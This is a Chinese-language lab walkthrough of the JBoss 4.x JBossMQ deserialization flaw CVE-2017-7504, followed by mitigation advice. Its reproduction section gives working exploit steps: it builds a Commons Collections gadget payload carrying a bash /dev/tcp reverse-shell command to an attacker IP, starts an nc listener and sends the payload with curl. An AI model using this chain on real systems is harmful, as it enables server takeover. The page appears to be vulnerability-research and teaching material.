JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
字数 1745 2025-08-11 21:26:33

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504) 技术分析文档

1. 漏洞概述

CVE-2017-7504是JBoss应用服务器4.x版本中存在的Java反序列化漏洞,影响JBossMQ的HTTP通信接口。攻击者可以通过构造恶意的序列化数据,在目标服务器上执行任意代码。

漏洞基本信息

  • 漏洞编号: CVE-2017-7504
  • 影响组件: JBossMQ JMS (HTTP通信接口)
  • 影响版本: JBoss AS 4.x系列
  • 漏洞类型: 反序列化远程代码执行
  • CVSS评分: 8.1 (高危)

2. 技术背景

2.1 Java序列化与反序列化

Java序列化是将对象转换为字节流的过程,反序列化则是将字节流还原为对象的过程。相关核心类:

  • ObjectOutputStream.writeObject() - 序列化方法
  • ObjectInputStream.readObject() - 反序列化方法

漏洞根源在于ObjectInputStream在反序列化时没有对生成的对象的类型做充分验证。

2.2 Apache Commons Collections库

Apache Commons Collections是一个扩展了Java标准库Collection结构的第三方基础库,提供了许多强大的数据结构类型和集合工具类。该库中的某些类可以被利用来构造恶意对象链。

3. 漏洞原理

3.1 漏洞利用路径

攻击者可以通过向以下路径发送恶意序列化数据来触发漏洞:

/jbossmq-httpil/HTTPServerILServlet

3.2 与相关漏洞的区别

  • CVE-2017-7501: 利用路径为/invoker/JMXInvokerServlet
  • CVE-2017-7504: 利用路径为/jbossmq-httpil/HTTPServerILServlet

两者都利用了Apache Commons Collections库的反序列化问题,但攻击入口点不同。

4. 环境搭建

4.1 使用Vulhub搭建测试环境

  1. 进入Vulhub的CVE-2017-7504目录:

    cd CVE-2017-7504
    
  2. 启动Docker容器:

    docker-compose up -d
    
  3. 验证配置:

    docker-compose config
    
  4. 访问测试页面确认环境正常运行:

    http://[目标IP]:8080/
    

5. 漏洞复现步骤

5.1 准备工作

攻击机环境要求:

  • Kali Linux (或其他Linux发行版)
  • Java 1.8 (必须使用此版本,高版本可能不兼容)
  • 安装必要的工具:curl, netcat

目标环境:

  • 运行JBoss 4.x的服务器

5.2 攻击步骤详解

  1. 下载漏洞利用工具:
    从GitHub获取JavaDeserH2HC工具:

    git clone https://github.com/joaomatosf/JavaDeserH2HC
    
  2. 设置Java 1.8环境:

    • 如果Kali使用高版本Java,需要降级到1.8
    • 参考: https://blog.csdn.net/qq_44029310/article/details/126086895
  3. 编译并生成恶意序列化数据:

    javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
    

    这将生成ExampleCommonsCollections1WithHashMap.class文件

  4. 生成包含反弹shell命令的序列化文件:

    java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/[攻击机IP]/[端口] 0>&1"
    

    替换[攻击机IP][端口]为实际值,生成ExampleCommonsCollections1WithHashMap.ser文件

  5. 在攻击机启动监听:

    nc -lvp [端口]
    
  6. 发送恶意请求:

    curl http://[目标IP]:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
    
  7. 获取反弹shell:
    如果一切正常,攻击机的nc监听端口将获得目标服务器的shell访问权限。

6. 防御措施

6.1 临时缓解方案

  1. 删除或重命名漏洞组件:

    rm -f /jboss-as/server/default/deploy/jbossmq-httpil.sar
    
  2. 限制访问:

    • 通过防火墙规则限制对JBoss管理接口的访问
    • 只允许可信IP访问相关端口

6.2 长期解决方案

  1. 升级JBoss到不受影响的版本
  2. 使用Java反序列化过滤器:
    • 实现ObjectInputFilter接口来限制可反序列化的类
  3. 替换Apache Commons Collections库:
    • 使用修复了相关问题的版本(3.2.2+)

7. 参考资源

  1. Java反序列化漏洞原理分析
  2. Kali降级Java到1.8的方法
  3. 官方漏洞公告

8. 法律声明

本文档仅供安全研究和教育目的使用。任何未经授权的渗透测试或攻击行为都是非法的。使用者应对自己的行为负责,作者不承担任何法律责任。

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504) 技术分析文档 1. 漏洞概述 CVE-2017-7504是JBoss应用服务器4.x版本中存在的Java反序列化漏洞,影响JBossMQ的HTTP通信接口。攻击者可以通过构造恶意的序列化数据,在目标服务器上执行任意代码。 漏洞基本信息 漏洞编号 : CVE-2017-7504 影响组件 : JBossMQ JMS (HTTP通信接口) 影响版本 : JBoss AS 4.x系列 漏洞类型 : 反序列化远程代码执行 CVSS评分 : 8.1 (高危) 2. 技术背景 2.1 Java序列化与反序列化 Java序列化是将对象转换为字节流的过程,反序列化则是将字节流还原为对象的过程。相关核心类: ObjectOutputStream.writeObject() - 序列化方法 ObjectInputStream.readObject() - 反序列化方法 漏洞根源在于 ObjectInputStream 在反序列化时没有对生成的对象的类型做充分验证。 2.2 Apache Commons Collections库 Apache Commons Collections是一个扩展了Java标准库Collection结构的第三方基础库,提供了许多强大的数据结构类型和集合工具类。该库中的某些类可以被利用来构造恶意对象链。 3. 漏洞原理 3.1 漏洞利用路径 攻击者可以通过向以下路径发送恶意序列化数据来触发漏洞: 3.2 与相关漏洞的区别 CVE-2017-7501 : 利用路径为 /invoker/JMXInvokerServlet CVE-2017-7504 : 利用路径为 /jbossmq-httpil/HTTPServerILServlet 两者都利用了Apache Commons Collections库的反序列化问题,但攻击入口点不同。 4. 环境搭建 4.1 使用Vulhub搭建测试环境 进入Vulhub的CVE-2017-7504目录: 启动Docker容器: 验证配置: 访问测试页面确认环境正常运行: 5. 漏洞复现步骤 5.1 准备工作 攻击机环境要求 : Kali Linux (或其他Linux发行版) Java 1.8 (必须使用此版本,高版本可能不兼容) 安装必要的工具:curl, netcat 目标环境 : 运行JBoss 4.x的服务器 5.2 攻击步骤详解 下载漏洞利用工具 : 从GitHub获取JavaDeserH2HC工具: 设置Java 1.8环境 : 如果Kali使用高版本Java,需要降级到1.8 参考: https://blog.csdn.net/qq_ 44029310/article/details/126086895 编译并生成恶意序列化数据 : 这将生成 ExampleCommonsCollections1WithHashMap.class 文件 生成包含反弹shell命令的序列化文件 : 替换 [攻击机IP] 和 [端口] 为实际值,生成 ExampleCommonsCollections1WithHashMap.ser 文件 在攻击机启动监听 : 发送恶意请求 : 获取反弹shell : 如果一切正常,攻击机的nc监听端口将获得目标服务器的shell访问权限。 6. 防御措施 6.1 临时缓解方案 删除或重命名漏洞组件: 限制访问: 通过防火墙规则限制对JBoss管理接口的访问 只允许可信IP访问相关端口 6.2 长期解决方案 升级JBoss到不受影响的版本 使用Java反序列化过滤器: 实现 ObjectInputFilter 接口来限制可反序列化的类 替换Apache Commons Collections库: 使用修复了相关问题的版本(3.2.2+) 7. 参考资源 Java反序列化漏洞原理分析 Kali降级Java到1.8的方法 官方漏洞公告 8. 法律声明 本文档仅供安全研究和教育目的使用。任何未经授权的渗透测试或攻击行为都是非法的。使用者应对自己的行为负责,作者不承担任何法律责任。